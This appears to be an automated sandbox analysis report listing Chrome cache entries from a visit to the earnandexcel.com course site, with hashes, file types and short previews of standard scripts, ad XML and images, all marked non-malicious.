SSDEEP:	3072:+t8WClBZIncVuP0bteuvQ+AMPpgArl0xYu5GKnPU:+tlWBZ7O0bvQQGArHu5GKn8
MD5:	E23E38F8CB36F24DEEA353C664F6B5E0
SHA1:	03223F5E52DC9B0515C09290D5ADDD459F2E9BD4
SHA-256:	BDA2CF571D7EA45F68AFCDC87F968090DBF4BBDEC2C7D6D19CE591B3980C296F
SHA-512:	3FB4B6A4C0B83E88B81ACA84FF9C86EF38C68EC5D5D32FE22F8E24E1B2CA22EE79588B02035FEABBC85D285C8DE31CB5205061725548E1D624CADACF0A47B397
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 755

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 756

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (23122), with CRLF line terminators
Category:	downloaded
Size (bytes):	23264
Entropy (8bit):	5.228900729617308
Encrypted:	false
SSDEEP:	384:QXrHpFSnWB6/tX2lH1dkMiYnFpg54Lrf7m9SNAc0Eny+RWuK7NeBMwV/vtrx+OLg:RWB6/8lH1dkMioFpg54n7mcQEny+NLx+
MD5:	C2E02460A0C2BB3C499009F8AA4297AB
SHA1:	7998A9786924B8222A46F05E0314B05862F7A713
SHA-256:	788B4B14EC9F43877F386CC49C67218B664C545F048468334B493B7D238F89F4
SHA-512:	EA95F555B553D07F68D4E9F4611EB570849D40B68F767EB353F07001F621F30A41F733BF4230618EE76F63653AF107FD9C7B8BC0E47481C7FD54370E88955349
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/validate/jquery.validate.min.js
Preview:	/! jQuery Validation Plugin - v1.17.0 - 7/29/2017.. https://jqueryvalidation.org/.. * Copyright (c) 2017 J.rn Zaefferer; Licensed MIT */..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",function(b){c.submitButton=b.currentTarget,a(this).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(this).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.on("submit.validate",function(b){function d(){var d,e;return c.submitButton&&(c.settings.submitHandler\|\|c.formSubmitted)&&(d=a("<input type='hidden'/>").attr("name",c.

Chrome Cache Entry: 757

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (22488)
Category:	dropped
Size (bytes):	35553
Entropy (8bit):	6.138753096117224
Encrypted:	false
SSDEEP:	768:quhKcQ5QViVk8c6TkNriNS4ZDul7bMWOyCl3ying1awtoWiNK2dHEd9cXWAMo6/j:qsKciQViVk8cCu4Rul73OJl3lng1awia
MD5:	FB286CAA81E70D0AB4DEFC18BE2D72B6
SHA1:	210100614930F1AD60739F0C5ACC294363284B0F
SHA-256:	C6224854E69AC96E92DF646F55576E6CCB7068278A598D2D8135EB1F2B09595E
SHA-512:	8562C8FEC006731DF5B867568BB6AD72ACEB2482CB7D8377016C98C72B52B20BAD5EF67D3C649BBFB244ADF238FEC0B88B5AE1FC2C2797DAB22C70FB5F9618ED
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="2.0">. <Ad id="577569881">. <InLine>. <AdSystem>DCM</AdSystem>. <AdTitle>In-Stream Video</AdTitle>. <Error><![CDATA[https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIi52clY27hQMV7CuICR0V8wVhEAAYACConsxj;dc_eps=AHas8cAcNo9IHLZgYJIJECGiTK_NXmQZn7HQ6rIKUHqkzSfiQPdLI7n-fi-2HbL1ZLsRazfIwYQ0SNo24ET0bTF-wl4;met=1;ecn1=1;etm1=0;eid1=200015; </Error>. <Impression><![CDATA[https://unified.adsafeprotected.com/vevent/impression/1942311/79588500?gdpr=0&gdpr_consent=&gdpr_pd=&ias_xmtp=v&ias_xmapp=0&omidPartner=Google1/h.3.633.0&xsId=&ias_xappb= </Impression>. <Impression><![CDATA[https://b.videoamp.com/d2/ff55aef9-cb41-485c-bca1-b9521bd6663f/9339/impression?bwb=2&vpxid=9339&eadvid=1775402&ecid=31189534&epid=385370447&crid=208867112&pubid=9182423&cb=439936984&cp1=209470991&cp2=&cp3= </Impression>. <Impression><![CDATA[https://tp

Chrome Cache Entry: 758

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65474)
Category:	downloaded
Size (bytes):	820545
Entropy (8bit):	5.247073618287929
Encrypted:	false
SSDEEP:	6144:WNhiPeH6Y93VEs7Wl+FZ6pSCHfadov5QGvXg:WNhi2Hz93XZ6YC/aWxfg
MD5:	E43273271107BDE73D0F7FA901513A77
SHA1:	90BA5DA700EF4AB5850B75967858BAABD90BDF75
SHA-256:	7CFF93057CC0C42E77BCA58ADECD80EE133EB3660E920F1427D4A5A362868A9B
SHA-512:	C49E8794F15BF7FEB7C68812DF2A945EC70B4B9F76A20351C1148768D17245DF93FE93AB759B9B5EC278BADE100BBFA51A2393D25D84ECEF20816A84DF7E3AD9
Malicious:	false
Reputation:	low
URL:	https://fast.wistia.net/assets/external/E-v1.js
Preview:	/! For license information please see E-v1.js.LICENSE.txt /.var __webpack_modules__=[,,(t,e,n)=>{n.d(e,{Component:()=>b,h:()=>v,options:()=>r,render:()=>F});var i,r,o,a,s,u,l,c={},h=[],d=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord\|itera/i,p=Array.isArray;function f(t,e){for(var n in e)t[n]=e[n];return t}function y(t){var e=t.parentNode;e&&e.removeChild(t)}function v(t,e,n){var r,o,a,s={};for(a in e)"key"==a?r=e[a]:"ref"==a?o=e[a]:s[a]=e[a];if(arguments.length>2&&(s.children=arguments.length>3?i.call(arguments,2):n),"function"==typeof t&&null!=t.defaultProps)for(a in t.defaultProps)void 0===s[a]&&(s[a]=t.defaultProps[a]);return m(t,s,r,o,null)}function m(t,e,n,i,a){var s={type:t,props:e,key:n,ref:i,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,constructor:void 0,__v:null==a?++o:a,__i:-1,__u:0};return null==a&&null!=r.vnode&&r.vnode(s),s}function g(t){return t.children}function b(t,e){this.props=t,this.context=e}function _(t,e){if(null==e)return t.__?_(t.__,t.__i+

Chrome Cache Entry: 759

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 148 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2472
Entropy (8bit):	7.422669617464948
Encrypted:	false
SSDEEP:	48:u/o/a9CTnV7AZZ2sQdYa6NgDcRObMdgu6mqCXqMnZ41v54sU:u/o/ACholY63bgu6lMnZ4XK
MD5:	D6D96B7B230E818D591FCA1DFAE99455
SHA1:	6239563443DFCA7244D5178D10EE9AD3740C453C
SHA-256:	D797B2044A96FF1A97E3D1E5DA44BB9B941B543284084E905D19A183C8CA2D49
SHA-512:	12898452BB0F65ACDE14464359964691D7DA8BB1CE6E510FE4A68B586D303FF34C48499F510E3F03C7EC974BCEF3498F28A2E5D79D3FEBE60FEE382C04B761C7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Earn-And-Excel-Logo-1-148x50.png
Preview:	.PNG........IHDR.......2.............PLTE...---((((((((((((((((((((((((((((((DDD((((((:::(((((((((.....R((((((((((((111...DDDDDD((((((DDD...DDD((((((..Q((((((...((((((DDD.....R(((DDD(((DDDDDDDDD(((DDD(((..R(((DDD(((((((((---DDD(((..R..R(((.....R((((((..R(((...(((DDD..R........R......DDDDDD...DDD(((..R........R.....RDDD(((((((((DDD...DDD........R........RDDD(((..R(((..RDDD..RDDD...DDD.....R(((..R(((..RDDD...(((DDD........R...DDD..R..R..R..R.....R..R..R...DDD...DDDDDD..RDDDDDDDDD!.P.....Q...........R..R..R...........R.....R.....R(((..R\|.......R...(((%.M....VU....tRNS......f.\........S&...-.....5....$...;...e....v...qRH...2!..P.........LDB..............zxjE@75&..........XJJ:0#........tlWK=4/#...........tkda]VB&......{kJ9.ohf..2....IDATX...W.A...H..(..L. ... `.(.).""EE.RT.(...{/..G:.I.]./.................._........?Z.l&..G.'~..c!..l....=...J-,...n.-..J.......6.`.W.@%Q..n...F.\|.&I..V.W.A...}h./.\.....Q.WJ...f.3>&f.d..#.'%..m~}3.0>...\nA..RH..K..4...5K.n[Fj.h..(....

Chrome Cache Entry: 760

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5496), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	295335
Entropy (8bit):	5.271172014805249
Encrypted:	false
SSDEEP:	3072:yZrG55ru2VJq+CVJgNnFV7Zl2xBvBGeygbNr/7Zl2xBvBrfXXTGQRLuFZ31dveiD:yLbN9QY
MD5:	A8B8619C0CD3C1EEDAFEB6333458A909
SHA1:	8B4AFC2F3C81A43DC8431B5576234F00736BB5EB
SHA-256:	5C52FB42060F1DF42446C068A407BE0ADDEA6860652D6ABE7A85DDF337B85F51
SHA-512:	0F524369542D4C8003F5567D615BD0C9940DD7EDBFE420753383EA1ACE399F39B3EB1FBE7261B13E1C7C249E2BA5D6D35CC8D35C5E29D5C0B51AE97C154338F5
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/courses/excel-tools-and-templates/
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 761

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7973)
Category:	downloaded
Size (bytes):	20787
Entropy (8bit):	5.301875884707572
Encrypted:	false
SSDEEP:	384:8uMSX9vEqkTVScdV/vWxcHsiW58furhDGXvhHQfww/Xc2S8mFkF50y:iScPy+hkLqkJ
MD5:	49FA677B9CD7DDF221DC06537B35E10F
SHA1:	7485F3F99C3C1A57197F2B099F3F8D68B8609D06
SHA-256:	0CD851E5B33AF0FBB354DF65506DA39807B998E07723F3D08ABA5179FA2ED97E
SHA-512:	40D50C965DB656D352C1E73BF3FF9E82B64422398974D55902B0EAAB213FF255AF9338C33D09A8B148DA37B1A13EF0377DE2B510F6B5C7C42C8F866BA3189A54
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/core.min.js
Preview:	/! jQuery UI - v1.12.1 - 2020-09-25. http://jqueryui.com.* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.js, safe-blur.js, scroll-parent.js, tabbable.js, unique-id.js, version.js, widget.js.* Copyright jQuery Foundation and other contributors; Licensed /.!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){var t,e,n,W,C,o,s,r,l,a,i,h;function E(t,e,i){return[parseFloat(t[0])(a.test(t[0])?e/100:1),parseFloat(t[1])(a.test(t[1])?i/100:1)]}function H(t,e){return parseInt(x.css(t,e),10)\|\|0}x.ui=x.ui\|\|{},x.ui.version="1.12.1",./!. * jQuery UI :data 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.x.extend(x.expr[":"],{data:x.expr.createPseudo?x.expr.createPseudo(function(e){return function(t){r

Chrome Cache Entry: 762

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 179 x 178, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6611
Entropy (8bit):	7.943540828840316
Encrypted:	false
SSDEEP:	192:ZZP09NZ2DLtUnCMwUTzvqQ2P9a0gNBKBlHmrwySDNSoKb+:ZOLitewUnvylekBlHmky+g+
MD5:	B21A19D069991BB09F70668D7A6C58E4
SHA1:	A0F6EC9128BEAAC9144C02FB74A8A8EFB12380D2
SHA-256:	098FBA08589B49D1FC1BC014FD187944804F0B24E14BB7BD78814AACB3D27E70
SHA-512:	90CCA036749F6D75DDDE564C3A2C3F6F1C19DA041C5B1AC4D37AD94B2334453C50DCDFC5F80C8ACF02C9A4CA7ACE896C72D6EC8F3C84579454182C06FC093E42
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............>..d....PLTE...Tl.at.Xj.\p.bu.at.at.at._q.\p.]p.`s.at.at.^s.at.at._r.at.at.at.`t.at.`s.at.at.at.au.at.at.`s.at._r.at.as._r.at.at.at.as.`s.`t.at.at...t...-tRNS.......'..A.."]}-.v.G.;.b..K.6.q1l.gWOT.........IDATx...z.(......[......{.t:./]vO2=3..%w..(._..f.i...ZX..........Z.............<tL.!d8{../...ZF...F.H..#.Q)e.y...d........k....6...vO{...oN;f....S..XT.=6.K...?0.N,1..j..S..U..g.T.../..Y. V........x..h..6.(~.&...k...K...a."......g4}...b..*=a.A.B..x./Xn.C$K..D..........v.0....,EAd.#uF...W.1@.~.T.=_0...1MgJ..:\G......h.J..t....)...H....C../.l.[....NpY,..7..,..n...........y.....i`..m..o+.l..Lp...hd....u...j.....sV.k.u......6.d.j..c.]\|..X..1 ......\O....h=JnC=..P^..8.e.....}.....>h....}......:$..~~._7p..mk6.L........%2..//....Q.xi..}0.W..h...;...s.tsk.."....-...n....2M..#..\............5..$\,.UP.1.d.....".....>.U2\.Q.$.v..x.Y...ZPxi........0..A..Hu.....(z.j.S..I..........o....NS..q..U......>..Ao.f..2.i.eQB.n....,..

Chrome Cache Entry: 763

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	7.885521295962446
Encrypted:	false
SSDEEP:	48:kfcMDcv54meKZVcvTOodUWfYKESWX7OI40t+34oXROODmtnt31tN+kniLDX9:kRwRPVsqCUctWX6IHg3jEODmtntl+Fh
MD5:	FF862C0E7A4755ADF3682DA543BCE1E4
SHA1:	9DB9B9C9BB176AEE7F639F5F4A4CD702105358B6
SHA-256:	36133CA07927C88A7CC578FDDBAED3C668AB75087834D0CA13DCA5DE4EC856C1
SHA-512:	F7BD41F50C64D5DFC88989D0DDEE4C2CE816A08DC7410E5176C9386052791C04991022D406ED15BD0B6CA8C1E1ED83CD2E3B37C0F601DE26646F0FC49FCA0E6F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................W....IDATh..go.I....&s..g....I.8...6Yd0".(..#.."..d.t&.x.q6.8.7...'...u......wX.!.C........O.>.e....I....2.,.,....A.....,tV....m...6..SR....'.JKKi..l..<0=.={x........::}.4M.0....C.;w.......)==]y..Ky..?6..\.z..r..w...r'C5.:....a..z.....k.}....6y.d...1..x...5.........H...EDD....p.i..}...\|....Y.....<..{.;.V.9..t...\.hm..Z.y..]........C.u..#F......,x..-[.5x.....5..I.N.....&Xx...6....;......z..?.....n..N.u}...>}..7..\|:~.8..q...U[[K.z..v..@.^.t...k.*++..X..........\...L;..t.........%%%Qyy9{..]...n7......u.X....,x#.....m...F}...[.n).....G..U.x\\|.(l..r..IZ.f..'._UU._?h..g.RZZ..5<..3.z.jZ.v-.C.D...799..........TQQ...r.....u.VZ.b..:t..4...!.A......5..k.5;X....:p.......y..E.=...,v.Vj....=z4..;...1c.p..;.}....Pc.......i...Ba..;v.....}.v.4...yn.c`....C.xO.......4./l.....5..f.a.]n.]....=...8(.....X..Bs...a..z+P...........>.\..".mX(3.(/...W.......S.......<..jYY...U+.1;;...._..F...D.~....y.fo.QSS.}.......

Chrome Cache Entry: 764

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48718), with no line terminators
Category:	downloaded
Size (bytes):	48718
Entropy (8bit):	5.3204418983820165
Encrypted:	false
SSDEEP:	768:8mKiRXxvLaANtlJ8/1uO8cHR5BgXa6FgZDFvUCglfhzcWuvSnhDC9oTFLsceC69L:hRLIuOgDfldUvgWwvWohRZO
MD5:	2CE9C9FE46A83D15CD22ADF33464843E
SHA1:	CBEE665779A19B6DF9E0996B944E2B770FDBAA12
SHA-256:	83F17C4C66F73E66BEE7145A657377C0D772D7E83E4720496F2E604BF95AC3C0
SHA-512:	B77979501CF3133EE1DFED1AB6C2DA5EF5F99D9FD6B2486FC9E634E292D9965BC047D490EFD21886240A69A5C5B695FC2E5A05E0A1FD54AA7825C3FC6020D84D
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/150.6b4dbfed.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[150],{1164:(e,t,r)=>{var o=r(6848);t.c=void 0;var n=o(r(7988)),a=r(2792),i=(0,n.default)((0,a.jsx)("path",{d:"M16.59 8.59 12 13.17 7.41 8.59 6 10l6 6 6-6z"}),"ExpandMore");t.c=i},68:(e,t,r)=>{var o=r(6848);t.c=void 0;var n=o(r(7988)),a=r(2792),i=(0,n.default)((0,a.jsx)("path",{d:"m12 21.35-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 4.42 3 7.5 3c1.74 0 3.41.81 4.5 2.09C13.09 3.81 14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 6.86-8.55 11.54L12 21.35z"}),"Favorite");t.c=i},7184:(e,t,r)=>{var o=r(6848);t.c=void 0;var n=o(r(7988)),a=r(2792),i=(0,n.default)((0,a.jsx)("path",{d:"M15.41 7.41 14 6l-6 6 6 6 1.41-1.41L10.83 12z"}),"NavigateBefore");t.c=i},7252:(e,t,r)=>{var o=r(6848);t.c=void 0;var n=o(r(7988)),a=r(2792),i=(0,n.default)((0,a.jsx)("path",{d:"M10 6 8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"}),"NavigateNext");t.c=i},6752:(e,t,r)=>{r.d(t,{c:()=>k});var o=r(8940),n=r(5307),a=r(1580),i=

Chrome Cache Entry: 765

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13058)
Category:	downloaded
Size (bytes):	13128
Entropy (8bit):	5.428578437730766
Encrypted:	false
SSDEEP:	384:77nuA3md5GfxUJfiQswjwO63yvp9gtOiic9wa72oGQPYp/2n65sQ:XuA2d2UIQP0O6ivDpwqaxPYpun65sQ
MD5:	505C8B9EF77822BDC04BAFA6EE24AAAD
SHA1:	26E693C4F43EE8FB00053EAE6F94BAC1C6AA6EE1
SHA-256:	92E6D347FC803FC8BEDA5B604A76BFF624D9C5FF98AA06E60A8FDA7CA14C7E63
SHA-512:	63216847A23F4D255C584DF8E439FFD2441ED7FC0060E50870E1A84578F88BCB7DDACFFE9421A576F6AF487919B28671E999BD4B419D78AB6FCA82EC209C4FFE
Malicious:	false
Reputation:	low
URL:	https://exchange.mediavine.com/usersync.min.js?s2sVersion=production
Preview:	/! For license information please see usersync.min.js.LICENSE.txt /.(()=>{var e={34:(e,n,t)=>{var i,o,r;void 0===(o="function"==typeof(i=r=function(){function e(){for(var e=0,n={};e<arguments.length;e++){var t=arguments[e];for(var i in t)n[i]=t[i]}return n}function n(e){return e.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}return function t(i){function o(){}function r(n,t,r){if("undefined"!=typeof document){"number"==typeof(r=e({path:"/"},o.defaults,r)).expires&&(r.expires=new Date(1new Date+864e5r.expires)),r.expires=r.expires?r.expires.toUTCString():"";try{var a=JSON.stringify(t);/^[\{\[]/.test(a)&&(t=a)}catch(e){}t=i.write?i.write(t,n):encodeURIComponent(String(t)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40\|5B\|5D\|5E\|60\|7B\|7D\|7C)/g,decodeURIComponent),n=encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|5E\|60\|7C)/g,decodeURIComponent).replace(/[]/g,escape);var c="";for(var s in r)r[s]&&(c+="; "+s,!0!==r[s]&&(c+="="+r[s].split(";")[0]));return document.cookie=n+"="+t+c}}f

Chrome Cache Entry: 766

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 49, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6050
Entropy (8bit):	7.937192955900805
Encrypted:	false
SSDEEP:	96:Z0wSlyhxECb9UQzwI1kSgsld7VZFUVZxM7uJlUsRmUWVXfVaGqFKZF2gXf:VhUkwdSdhApJesRmUWVXfcjcRXf
MD5:	EE28840662C2DC1EC201085348D3C37A
SHA1:	9F6AE30D636DFD30ED095048C24DDAC4AB869637
SHA-256:	1873860FD1751D07C5E18F75BFC31DC44E1A3EC8788359A3F5862D6ACC9B22AD
SHA-512:	04067DB719661F04515AE980FDB435A5E0E21F85CEB68E1A33F32CD4D340DECB38C3A893F1AE1FBFFC9708F1EA39C9CB45AA3999E4B7161FE5AA1B24F2BAE4EB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/DHL.png
Preview:	.PNG........IHDR.......1.......v....iIDATx...K^]...W.IBz...Nz.!.,.I..Y.,..Y...\(....{...w.......0\|.^A.....-.w..9.b....."n.....n0B..........F0..\G.!...bc~~^.....7.y.q.n.........,//...b``..!`a<..p..XG...Eimm...Z...qp.X.q...#.;.....Y**.....!`...:..{G.50h............p............(---....8.......-,,..m.uuu....8...._.....u444.STUUIee%.5Uguu5..7.....................IOO....,...u.........A.)).kmjj.Y.-yrr.uz..6W......btt.x1..........&ccc.K}MMMa..s..0o.c9+//....8.{.[.u`....y....m.......G....3B ...cii)~....P~..-....Bjj..\|.OOO...$=...#&....5.......#.#......A.l....8O........H..?..Dh....q.......=....}=......h..yDD......R.VD.9...&$$x....?QQQ....}.j.........E....C..I....?}.$'N..3g.l.g....?w.\.pA.\."O.>...KQQ.LLL.'..A.....I.:[...:.V...l........?...W../^......'.......1..BZZ..;v....\.\|.{.....8.o.M..Y.." ?.......p..5..w.^y..!.C....c.%.:..)....TJ...4X{..W..(.].$7n..7o.X%..G..{...[5.!................c......8...r.......]..q..}...Z.sss..W.......>}Zc~..m

Chrome Cache Entry: 767

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2042)
Category:	downloaded
Size (bytes):	400855
Entropy (8bit):	5.526745903370189
Encrypted:	false
SSDEEP:	6144:w/OXzSdT4zpZKFgWGn1VNVNEjjB0a3fN4:nSJ4W9AnpEjjB0KfK
MD5:	85777E73E9830800B00B6B7D3DC4171B
SHA1:	0E9C602585E9AF968C90F6C44C5F0037C6B472C5
SHA-256:	87AFB83349697405684A75A896DA9AD767EC869AEB963534D8FB873B53E740D6
SHA-512:	3E21415D7EC445A10CB045D046DE9B00CF6976A85167E63CFD8166B557EF5E0B2138C58BC165B28CA08CDB866A9AA6D3AA44A7DDE45C430FCD14D247A779A61E
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/sdkloader/ima3.js
Preview:	// Copyright 2011 Google Inc. All Rights Reserved..(function(){var l,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},ea=da(this),r=function(a,b){if(b)a:{var c=ea;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.r("Symbol",function(a){if(a)return a;var b=function(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.g};var c="jscomp_sy

Chrome Cache Entry: 768

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3021)
Category:	downloaded
Size (bytes):	3057
Entropy (8bit):	5.188039965806057
Encrypted:	false
SSDEEP:	48:Q71QdodncHcNQ4mrIVk52X+IAC9KkNUKDANaiG5VERKIJwigTdteEdMays27J:Xohvj6kZKkFeAEMbB8
MD5:	6524A328777F6E65ECF389155CE398E5
SHA1:	4750986FB15EC3B3C06FCE5A99F0DB4CD182FB02
SHA-256:	DE7ADE682FF7B0A993BBF1D0E3381F04180FC94B476F4FB3FB2DEA65D9B33863
SHA-512:	52B86A699BE9EE98D339794CA68111B2D7214D8CF675DA289F1D6A32BB3B9AF804D380282D17CF882A68011628185469D751B27EC5D6C17665E40047F9CDC095
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/dist/a11y.min.js
Preview:	/! This file is auto-generated /.this.wp=this.wp\|\|{},this.wp.a11y=function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s="jncB")}({Y8OO:func

Chrome Cache Entry: 769

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 350x350, components 3
Category:	downloaded
Size (bytes):	60023
Entropy (8bit):	7.978577788526601
Encrypted:	false
SSDEEP:	1536:5Ji+31uyzjMolV5AOcDup7+kk4Ox9BLWl0HSyB4n:fWyPMolaDi7Lg7SyB4n
MD5:	D7137675F568DFAF6811DBBBD0072626
SHA1:	1F128C10E8C93610202982663885748C466270C1
SHA-256:	0560F82DD40BCF23AB04A2A02FBC6AFCF0102F7F96B845EAC86191B5EC5B6978
SHA-512:	27917E5A388EFC018B83F55221F4252DDFA1C3F49DEF3DAC6D1BAF45AB0531C939D8D43B1AD66DD7030DD90802831D83C182F291DE2A7CD3217E2C6D0102272C
Malicious:	false
Reputation:	low
